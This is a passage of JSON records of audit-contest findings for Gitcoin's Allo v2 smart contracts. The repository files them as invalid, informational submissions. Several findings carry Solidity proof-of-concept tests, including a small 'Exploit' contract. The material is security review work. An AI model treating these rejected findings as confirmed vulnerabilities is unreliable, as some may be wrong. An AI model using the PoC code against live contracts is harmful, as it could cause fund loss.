`profileId` must be unique and this is also one of the design requirement of `nonce` as per the function Natspec.\n\n```Solidity\n /// @param _nonce Nonce used to generate profileId. Can be any integer, but should be unique for each profile.\n```\n\nFurther, the function does not have check to verify that previous nonce or same nonce had been used in past while creating the profile by the user.\n\nIt just check `anchor` address is not zero address.\n\n```Solidity\n if (profilesById[profileId].anchor != address(0)) revert NONCE_NOT_AVAILABLE();\n```\n\nHowever, `anchor` address is generated by using the `profileId` which can be checked [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L142) and [here](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L335) but there is possibility that the same `nonce` and data can be used to create the profile which can be exact duplicate and can be used for malicious intents.\n\nThis must be prevented by providing the incremented nonce while generating `profileId` which will ensure the unique `profileId` and which wont be able to generate the duplicate profiles.\n\nIn addition, unique `nonce` is one of the design requirment while creating profile id and this must be implemented in contract, however this is missing in current implementation.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L127\n\n## Tool used\nManual Review\n\n## Recommendation\nUse the incremented `nonce` while generating `profileId`\n\n```diff\nFile: contracts/core/Registry.sol\n\n+ mapping(address => uint256) private _nonces;\n\n+ function _useNonce(address owner) internal virtual returns (uint256) {\n+ return _nonces[owner]++;\n+ }\n+ }\n\n\n function createProfile(\n- uint256 _nonce,\n string memory _name,\n Metadata memory _metadata,\n address _owner,\n address[] memory _members\n ) external returns (bytes32) {\n\n+ // Make sure the owner is not the zero address\n+ if (_owner == address(0)) revert ZERO_ADDRESS(); \n\n // Generate a profile ID using a nonce and the msg.sender\n- bytes32 profileId = _generateProfileId(_nonce);\n+ bytes32 profileId = _generateProfileId(_useNonce(msg.sender));\n\n // Make sure the nonce is available\n if (profilesById[profileId].anchor != address(0)) revert NONCE_NOT_AVAILABLE();\n\n- // Make sure the owner is not the zero address\n- if (_owner == address(0)) revert ZERO_ADDRESS(); @audit // save gas by moving it at start of function\n\n // Create a new Profile instance, also generates the anchor address\n Profile memory profile = Profile({\n id: profileId,\n- nonce: _nonce,\n name: _name,\n metadata: _metadata,\n owner: _owner,\n anchor: _generateAnchor(profileId, _name)\n });\n\n profilesById[profileId] = profile;\n anchorToProfileId[profile.anchor] = profileId;\n\n\n // some code\n\n\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/713.md"}} +{"title":"The `profile owner` can lose funds using unsafe `low-level` call","severity":"info","body":"Stable Charcoal Bison\n\nmedium\n\n# The `profile owner` can lose funds using unsafe `low-level` call\n\nThe summary of the below detail is that the `low-level` calls `bypass type checking, function existence check, and argument packing` and due to the fact that the EVM considers a call to a non-existing contract to always succeed makes the below-mentioned code vulnerable.\n\n## Vulnerability Detail\n\n```solidity\nfunction execute(\n address _target,\n uint256 _value,\n bytes memory _data\n) external returns (bytes memory) {\n // Check if the caller is the owner of the profile and revert if not\n if (!registry.isOwnerOfProfile(profileId, msg.sender))\n revert UNAUTHORIZED();\n\n // Check if the target address is the zero address and revert if it is\n if (_target == address(0)) revert CALL_FAILED();\n\n // Call the target address and return the data\n (bool success, bytes memory data) = _target.call{value: _value}(_data);\n\n // Check if the call was successful and revert if not\n if (!success) revert CALL_FAILED();\n\n return data;\n}\n```\n\nThe `execute` function of the `Anchor` contract after validating the `caller` and `_target` address for `address(0)` calls the `_targe` contract using the `low-level` call and checks only the `success` state of it.\n\nThis is unsafe because the `low-level` calls return `true` for all `non-existing` contract addresses.\n\n`Note: This function has checked for address(0) but a non-existing contract can be a non-zero address`.\n\n### Solidity Documentation Warning about `low-level` calls\n\n- You should avoid usingĀ `.call()`Ā whenever possible when executing another contract function as it bypasses type checking, function existence check, and argument packing.\n\n- Due to the fact that the EVM considers a call to a non-existing contract to always succeed, Solidity includes an extra check using theĀ `extcodesize`Ā opcode when performing external calls. This ensures that the contract that is about to be called either actually exists (it contains code) or an exception is raised. The low-level calls which operate on addresses rather than contract instances (i.e.Ā `.call()`,Ā `.delegatecall()`,Ā `.staticcall()`,Ā `.send()`Ā andĀ `.transfer()`)Ā **do not**Ā include this check, which makes them cheaper in terms of gas but also less safe.\n\n[Solidity Docs - Members of Address Types](https://docs.soliditylang.org/en/v0.8.21/units-and-global-variables.html#members-of-address-types)\n\n### Proof\n\n```solidity\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.0;\n\nimport \"hardhat/console.sol\";\n\ncontract ContractA {\n function check(address _target) external payable returns(bool) {\n console.log(\"called\");\n (bool success, bytes memory data) = _target.call{value: msg.value}(\"\");\n require(success, \"CALL_FAILED\");\n\n console.log(\"succeed\");\n console.log(success);\n return success;\n }\n}\n\ncontract ContractB {\n function destroy() external {\n console.log(\"destroyed\");\n selfdestruct(payable(address(0)));\n }\n}\n```\n\nI have used this code to demonstrate, you can paste it into Remix IDE and verify it as well.\n\n1. Deployed the `ContractB` which contains the `selfdestruct` function (copy the contract address for later).\n\n\"1\"\n\n2. Then call the `destroy` function of `ContractB` which will destroy this contract. After that, this contract will not exist anymore but its code still will be available on the blockchain.\n\n\"2\"\n\n3. Deploy the `ContractA`\n\n\"3\"\n\n4. Call the `check` function with the destroyed contract address and any `msg.value`.\n\n\"4\"\n\nAs you can see the call went successful but the contract does not exist.\n\n## Code Snippet\n\n```solidity\n// Call the target address and return the data\n(bool success, bytes memory data) = _target.call{value: _value}(_data);\n\n// Check if the call was successful and revert if not\nif (!success) revert CALL_FAILED();\n```\n\n[Anchor.sol - Lines 78 - 81](https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L78-L81)\n\n## Impact\n\nProfile owners can accidentally lose funds by executing a call to a non-existing `targe`.\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nUse the Openzeppelin [Address](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol) library to perform the external call.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/712.md"}} +{"title":"In ` QVBaseStrategy` there is now option to reallocate voice credits that are allocated once","severity":"info","body":"Dandy Lavender Wombat\n\nmedium\n\n# In ` QVBaseStrategy` there is now option to reallocate voice credits that are allocated once\nOnce an allocator allocates one of his voice credits to a recipient, he is not able to withdraw his votes again and allocate the voice credit to another recipient \n\n\n## Vulnerability Detail\n\nBy calling `_qv_allocate`, a user can allocate some of his voting credits and the corresponding votes to a recipient. In case he changes his mind and wants to allocate his voting credits to another recipient, there is no way to withdraw his votes and the corresponding voting credit.\n\n\n\n## Impact\n\nIf an allocator changes his mind on who he wants to allocate his voice credits to, he cannot withdraw the votes and the corresponding vote credit from the old recipient. This can lead to the wrong recipients getting the pool money if, for example some bad news comes out about one recipient a lot of allocators already voted for.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/6430c8004017e96ae2f5aac365bdefd0b6eeea72/allo-v2/contracts/strategies/qv-base/QVBaseStrategy.sol#L506-L534\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd a function like `withdrawAllocation` to enable the allocators to withdraw an already allocated vote credit from a recipient.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/709.md"}} +{"title":"M-01 Extra ETH needs to be sent as msg.value than is actually needed to create a pool when a base fee is set.","severity":"info","body":"Mammoth Aquamarine Wallaby\n\nmedium\n\n# M-01 Extra ETH needs to be sent as msg.value than is actually needed to create a pool when a base fee is set.\nExtra ETH is needed to be sent than needed when creating a Pool and the extra dust is not refunded.\n\n## Vulnerability Detail\nConfirmed with sponsor, the code enforces that the msg.value must be greater than fees or fees plus the native token amount to send to the pool, should this value be exactly equivalent to the value required, the code will revert. A secondary issue is that there is no check to calculate a refund for the sender should the msg.value be higher than required.\n\n## Impact\nThe user has to send more ETH than needed, and the extra ETH dust is not refunded in the `_createPool` function when a base fee is set.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\n\n```solidity\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\n\n## PoC\nCopy/Paste this test function in the `Allo.t.sol` file in the `test/foundry/core` directory:\n```solidity\nfunction test_createPoolWithBaseFeePoC() public {\n uint256 baseFee = 1e17;\n\n allo().updateBaseFee(baseFee);\n\n vm.expectEmit(true, false, false, true);\n emit BaseFeePaid(1, baseFee);\n\n vm.deal(address(pool_admin()), 1e18);\n console.log(\"[+] Allo base fee is set to : \",baseFee);\n console.log(\"\");\n console.log(\"Pool admin balance before creating a pool : \",pool_admin().balance);\n console.log(\"\");\n console.log(\"## FAIL SCENARIO ##\");\n console.log(\"Create pool exact fee needed : \",baseFee);\n console.log(\"[-] This should revert, will only succeed if reverted with NOT_ENOUGH_FUNDS\");\n console.log(\"\");\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: baseFee}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n\n console.log(\"## SUCCESS SCENARIO ##\");\n console.log(\"Create pool fee needed plus 1 wei : \",baseFee + 1 wei);\n console.log(\"[+] This should not revert\");\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: baseFee + 1 wei}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n console.log(\"\");\n console.log(\"## FINAL BALANCES ##\");\n console.log(\"[+] Pool admin balance after creating a pool : \",pool_admin().balance);\n console.log(\"[+] Extra 1 wei is not returned\");\n console.log(\"[+] Extra wei is now dust in Allo contract\");\n console.log(\"[+] Allo balance is : \",address(allo()).balance);\n }\n```\nRun the forge test \n```text\nforge test --match-contract AlloTest --match-test test_createPoolWithBaseFeePoC -vv\n```\n## Output\n```text\nRunning 1 test for test/foundry/core/Allo.t.sol:AlloTest\n[PASS] test_createPoolWithBaseFeePoC() (gas: 768662)\nLogs:\n [+] Allo base fee is set to : 100000000000000000\n \n Pool admin balance before creating a pool : 1000000000000000000\n \n ## FAIL SCENARIO ##\n Create pool exact fee needed : 100000000000000000\n [-] This should revert, will only succeed if reverted with NOT_ENOUGH_FUNDS\n \n ## SUCCESS SCENARIO ##\n Create pool fee needed plus 1 wei : 100000000000000001\n [+] This should not revert\n \n ## FINAL BALANCES ##\n [+] Pool admin balance after creating a pool : 899999999999999999\n [+] Extra 1 wei is not returned\n [+] Extra wei is now dust in Allo contract\n [+] Allo balance is : 1\n\nTest result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.38ms\n```\n## Tool used\n\nManual Review\n\n## Recommendation\nThe check for the base fees should be changed to be as below, this includes correcting the comments.\n```solidity\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then msg.value should be >= than baseFee + _amount.\n // If _token is not NATIVE, then msg.value should be >= than baseFee.\n if ((_token == NATIVE && (msg.value < baseFee + _amount)) || (_token != NATIVE && msg.value < baseFee)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\nSecondly it can be checked whether all the value sent in the msg.value was used, and any unused funds refunded to the caller.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/708.md"}} +{"title":"No exess ETh refund in the functions that requires users to send ETh.","severity":"info","body":"Expert Pecan Carp\n\nmedium\n\n# No exess ETh refund in the functions that requires users to send ETh.\nThe following function require to send ETher and in the situation where there is excess Eth transfer, there is no Eth refund.\n\n## Vulnerability Detail\nMost `payable` functions on the project do NOT refund excess Ether making users lose Excess ETh sent alongside with transactions.\n\n## Impact\nLoss of Extra Eth sent with transactions to the createPool `payable` function.\n\n## Code Snippet\nFile: https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L485\n\n```solidity\nfunction _createPool(\n bytes32 _profileId,\n IStrategy _strategy,\n bytes memory _initStrategyData,\n address _token,\n uint256 _amount,\n Metadata memory _metadata,\n address[] memory _managers\n ) internal returns (uint256 poolId) {\n if (!registry.isOwnerOrMemberOfProfile(_profileId, msg.sender)) revert UNAUTHORIZED();\n\n poolId = ++_poolIndex;\n\n // Generate the manager & admin roles for the pool (this is the way we do this throughout the protocol for consistency)\n bytes32 POOL_MANAGER_ROLE = bytes32(poolId);\n bytes32 POOL_ADMIN_ROLE = keccak256(abi.encodePacked(poolId, \"admin\"));\n\n // Create the Pool instance\n Pool memory pool = Pool({\n profileId: _profileId,\n strategy: _strategy,\n metadata: _metadata,\n token: _token,\n managerRole: POOL_MANAGER_ROLE,\n adminRole: POOL_ADMIN_ROLE\n });\n\n // Add the pool to the mapping of created pools\n pools[poolId] = pool;\n\n // Grant admin roles to the pool creator\n _grantRole(POOL_ADMIN_ROLE, msg.sender);\n\n // Set admin role for POOL_MANAGER_ROLE\n _setRoleAdmin(POOL_MANAGER_ROLE, POOL_ADMIN_ROLE);\n\n // initialize strategies\n // Initialization is expected to revert when invoked more than once with 'ALREADY_INITIALIZED()' error\n _strategy.initialize(poolId, _initStrategyData);//@audit check _strategy\n\n if (_strategy.getPoolId() != poolId || address(_strategy.getAllo()) != address(this)) revert MISMATCH();\n\n // grant pool managers roles\n uint256 managersLength = _managers.length;\n for (uint256 i; i < managersLength;) {\n address manager = _managers[i];\n if (manager == address(0)) revert ZERO_ADDRESS();\n\n _grantRole(POOL_MANAGER_ROLE, manager);\n unchecked {\n ++i;\n }\n }\n\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.//@audit comment not correct.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();//@audit-issue condition >= wrong. No eth refund.\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n\n if (_amount > 0) {\n _fundPool(_amount, poolId, _strategy);//@audit what if token is not native.\n }\n\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n\n```\n## Tool used\nManual Review\n\n## Recommendation\nAdd implementation to refund extra Ether sent along with transactions that are `payable`.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/707.md"}} +{"title":"Percentage fee can be paid by the Allo contract when funding a pool","severity":"info","body":"Festive Brick Kitten\n\nmedium\n\n# Percentage fee can be paid by the Allo contract when funding a pool\n\nWhen funding a pool with the native Token, the funder can get the fee paid from the Allo contract.\n\n## Vulnerability Detail\n\nWhen funding a pool there is a percentage fee that has to be paid. However if the Pool is using the native token there is a possibility for the funder to skip the fee and get it paid by the Allo.sol contractĀ“s balance.\n\nIf using the native Token the `fundPool` function is checking if there is a percentage fee configured, if it is, the `_transferAmountFrom` function is called twice. \n\nFirst to pay the percentage fee, and later to transfer the funds to the pool.\nIf the function is called twice and the native token is used there is a bug that allows the funder to skip the fee and get it paid by the Allo.sol contracts balance. This is because the `_transferAmountFrom` function is checking the `msg.value` of the transaction to be greater or equal than the amount to transfer. \nIn this case a malicious funder can calculate the amount without the fee and pass this as a value. The first transferAmountFrom call will check if the fee amount is greater or equal than the fee amount and will therefore pass. The second check will go against the amount minus the percentage fee and therefore also pass, as the `msg.value` is not changed. \n\nThe same issue is already tackled by a check inside the createPool function regarding the baseFee\n\n\n## Impact\n\nThe fee can be skipped by the funder and it will be paid by the Allo.sol contract\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L509-L516\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nCheck the `msg.value` inside the `_fundPool` function to be greater or equal than the whole amount, similiar to the check for the baseFee inside `createPool`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/706.md"}} +{"title":"Transfer.sol Vulnerability","severity":"info","body":"Amateur Amber Mantis\n\nmedium\n\n# Transfer.sol Vulnerability\nThe transfer information, such as the sender's address, the recipient's address, and the transfer amount, are stored in the contract's struct \"TransferData,\" which is defined.\nThe contract serves three primary purposes:\n\n'transferAmountsFrom', 'transferAmountFrom,' and 'transferAmount' are three examples.\n\n## Vulnerability Detail\n\nThe _transferAmountsFrom, _transferAmountFrom, and _transferAmount functions will transfer tokens to the zero address if the to address in the TransferData struct is zero (0x0). Since the tokens cannot be recovered from the zero address, they are effectively burned and eliminated from the supply.\n\n## Impact\nWhen exploited, this vulnerability could have the following effects:\n\nBurning of Tokens: Any tokens sent to the zero address are essentially burned, lowering the total available supply. This can have an effect on the token's value.\n\nLoss of Funds: Any tokens or ether sent to the zero address if the to address is set to that address are lost forever. This can lead to a sizeable financial loss.\n\nService Interruption: If this vulnerability is exploited, it could prevent the contract's and any dependent services' regular operations.\n\nThe severity of this issue would be considered \"Medium\".\n\n## Code Snippet\nProof of Concept (PoC) to demonstrate this vulnerability:\n\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.19;\n\nimport { Transfer, TransferData } from \"./Transfer.sol\";\n\ncontract Exploit {\n Transfer public victim;\n\n constructor(Transfer _victim) {\n victim = _victim;\n }\n\n function exploit() public {\n TransferData memory data = TransferData({\n from: msg.sender,\n to: address(0), // Set to address to zero address\n amount: 1 ether\n });\n\n // Assume that the exploiter has enough tokens\n victim._transferAmountFrom(address(0), data);\n }\n}\nIn this PoC, an Exploit contract is created which interacts with the vulnerable Transfer contract. \nThe exploit function creates a TransferData struct with the to field set to the zero address, and then calls the _transferAmountFrom function on the Transfer contract.\n\nThe following lines of code are vulnerable:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L33\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L43\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L47\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L70\n\n\n\n## Tool used\n\nREMIX IDE\nVS Code\nManual Review\nFoundry\n\n## Recommendation\nTo mitigate against this vulnerability, you can add a require statement to check if the \"to\" address is not the zero address before proceeding with the transfer.\n\nrequire(_transferData.to != address(0), \"Transfer to the zero address\");\n\n// Add this line to the _transferAmountsFrom function\nfunction _transferAmountsFrom(address _token, TransferData[] memory _transferData) internal returns (bool) {\n ...\n TransferData memory transferData = _transferData[i];\n require(transferData.to != address(0), \"Transfer to the zero address\");\n ...\n}\n\n// Add this line to the _transferAmountFrom function\nfunction _transferAmountFrom(address _token, TransferData memory _transferData) internal returns (bool) {\n ...\n require(_transferData.to != address(0), \"Transfer to the zero address\");\n ...\n}\n\n// Add this line to the _transferAmount function\nfunction _transferAmount(address _token, address _to, uint256 _amount) internal {\n require(_to != address(0), \"Transfer to the zero address\");\n ...\n}\n\nThis will ensure that the \"to\" address is not the zero address, preventing tokens from being burned unintentionally.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/703.md"}} +{"title":"Funds stored in anchor will be lost while upgrading anchor","severity":"info","body":"Suave Cider Seahorse\n\nhigh\n\n# Funds stored in anchor will be lost while upgrading anchor\nAnchors are deployed per profile and used by the owner of the anchor to manage funds and other usecases. Anchors uses `registry.sol` as an access control mechanism to check if the caller is the owner of the specific anchor to execute txns . And anchors can recieve funds through the recieve functionality .\n\nHowever , In the `registry.sol` , an anchor of a profile can be updated . And while upgrading , information of old anchor is deleted . This may get really problematic if an user upgrades his anchor. Because by upgrading , he will lose control over his old anchor and funds stored on that anchor . \nWhich will cause fund loss to the anchor owner. \n\n\n## Vulnerability Detail\nThe `execute` function in `Anchor.sol` : \n```solidity\n function execute(address _target, uint256 _value, bytes memory _data) external returns (bytes memory) {\n // Check if the caller is the owner of the profile and revert if not\n if (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED(); //<---call to registry contract to check if caller is the owner of the anchor \n\n\n // rest of the code... \n\n```\n` function updateProfileName` in `registry.sol` : \n\n```solidity\n function updateProfileName(bytes32 _profileId, string memory _name)\n external\n onlyProfileOwner(_profileId)\n returns (address anchor)\n {\n // Generate a new anchor address\n anchor = _generateAnchor(_profileId, _name);\n\n // Get the profile using the profileId from the mapping\n Profile storage profile = profilesById[_profileId];\n\n // Set the new name\n profile.name = _name;\n\n // Remove old anchor\n anchorToProfileId[profile.anchor] = bytes32(0); //<----deletes the old anchor address . \n \n\n//rest of the code .....\n\n```\nThe demonstrated issue can happen this way : \nIn a scenario where an user want to update his/her profile name then he/she will get a new anchor . But if there are remaining funds in his/her old anchor then he/she will lose the funds forever . \n\n## Impact\nPermanent Loss of funds for the user . \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L70\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L177\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThe issue can be mitigated in multiple ways : \n1. By not generating a new anchor while updating profile name . (Best way) \n2. User should have control over his old anchor .","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/702.md"}} +{"title":"Creating a pool always requires an excess amount of ETH","severity":"info","body":"Formal Wintergreen Mole\n\nmedium\n\n# Creating a pool always requires an excess amount of ETH\nIf baseFee is enabled, the calculation for it requires msg.value to always be higher than actually needed\n## Vulnerability Detail\nIn `Allo._createPool`, baseFee mechanism:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L474\nBoth conditions requires to be >= to msg.value. \nMeaning, if we sent exactly the amount needed, it will revert thus always requiring a higher amount.\n## Impact\nPool creatooor will ways require an excess amount of ETH to be sent for the baseFee\n## Code Snippet\nProvided in Vulnerability Detail\n## Tool used\n\nManual Review\n\n## Recommendation\nChange the require statement to the following\n```solidity\nif ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/698.md"}} +{"title":"ETH could be left stuck during allocation within strategies","severity":"info","body":"Rhythmic Lime Pig\n\nmedium\n\n# ETH could be left stuck during allocation within strategies\nETH could be left stuck during allocation within strategies\n\n## Vulnerability Detail\nAllocation hooks transfers the allocated tokens to the recipients or to the vault but `AMOUNT_MISMATCH` allows for excess `msg.value` to passed in then supplied amount would be sent either to the recipient or to the vault depending on the strategy.\nThis loose check allows ETH to stuck within the contract.\nFor Instance:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-direct-transfer/DonationVotingMerkleDistributionDirectTransferStrategy.sol#L54\n```solidity\nfunction _afterAllocate(bytes memory _data, address _sender) internal override {\n ...SNIP\n if (token == NATIVE) {\n@> if (msg.value < amount) {\n revert AMOUNT_MISMATCH();\n }\n SafeTransferLib.safeTransferETH(_recipients[recipientId].recipientAddress, amount);<@\n } else {\n ...SNIP\n }\n }\n```\nThis allows `msg.value` to be greater than `amount` but amount is the value sent to either the recipient or the vault the excess would remain stuck within the contract.\n\nAnother Instance:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-vault/DonationVotingMerkleDistributionVaultStrategy.sol#L116\n\n## Impact\nETH could be left stuck within strategies\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/donation-voting-merkle-distribution-direct-transfer/DonationVotingMerkleDistributionDirectTransferStrategy.sol#L54\n\n## Tool used\nManual Review\n\n## Recommendation\nRevert if `msg.value != amount`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/697.md"}} +{"title":"Excess sent ETH is never checked or returned","severity":"info","body":"Formal Wintergreen Mole\n\nmedium\n\n# Excess sent ETH is never checked or returned\nThere is no check in place to ensure msg.value does not exceed the amount required.\nSome transactions which include NATIVE token (ETH) do not return excess ETH sent.\n\nMight be a low.\n## Vulnerability Detail\nWhen paying the base fee (in ETH) or when performing any of the transfer functions (e.g. in fundPool), excess ETH that is sent as msg.value is not returned. e.g.:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L474\nSending more ETH in msg.value than baseFee is results in ETH being absorbed in the contract.\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L28\nAll the transfer functions in the library also do not take excess ETH in account.\n\nThere is a way to retrieve these funds, via:\n https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L283\n\n**But**, this can only retrieve all ETH in the contract instead of just a portion. Meaning it will burn unnecessary gas and requires a distribution system. \n\n## Impact\nExcess ETH is not returned and needs to be recovered\n## Code Snippet\nProvided in Vulnerability Detail\n## Tool used\n\nManual Review\n\n## Recommendation\nI would recommend one of the following:\n1. ensure msg.value can not be greater than amount required\n2. Check for excess eth after the transfer function and return it","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/694.md"}} +{"title":"event MilestonesSet() is empty","severity":"info","body":"Colossal Watermelon Crow\n\nfalse\n\n# event MilestonesSet() is empty\nevent MilestonesSet() is empty\n\n## Vulnerability Detail\nevent MilestonesSet() is empty. There is no information emitting from the event about the msg.sender or milestone being set\n\n## Impact\nLack of information from emit\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/rfp-simple/RFPSimpleStrategy.sol#L94\n\n## Tool used\nManual review\n\n\n## Recommendation\nInformation about setting milestone should be added","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/689.md"}} +{"title":"To create a new pool, an amount greater than the base fee must be paid","severity":"info","body":"Square Ultraviolet Bat\n\nmedium\n\n# To create a new pool, an amount greater than the base fee must be paid\nTo create a pool, it is required to transfer an amount of native currency that exceeds the `Allo.baseFee` within the `Allo` smart contract.\n\n## Vulnerability Detail\nA member or profile owner can create a pool using either the `Allo.createPool` or `Allo.createPoolWithCustomStrategy` functions within the `Allo` smart contract. When calling one of these functions, it is necessary to provide the `Allo.baseFee` amount in the native currency of the network. The profile owner must pay more due to an incorrect if statement.\n```solidity\nif (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\n\nTo create a pool, it is necessary to transfer the `baseFee + 1` amount of native currency in order to prevent the `NOT_ENOUGH_FUNDS` error. A test scenario:\n```solidity\nfunction testRevert_createPoolWithBaseFee() public {\n uint256 baseFee = 1e18;\n\n allo().updateBaseFee(baseFee);\n vm.deal(address(pool_admin()), 1e18 + 1);\n\n // create pool with 1e18 amount when baseFee = 1e18 [error]\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: 1e18}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n 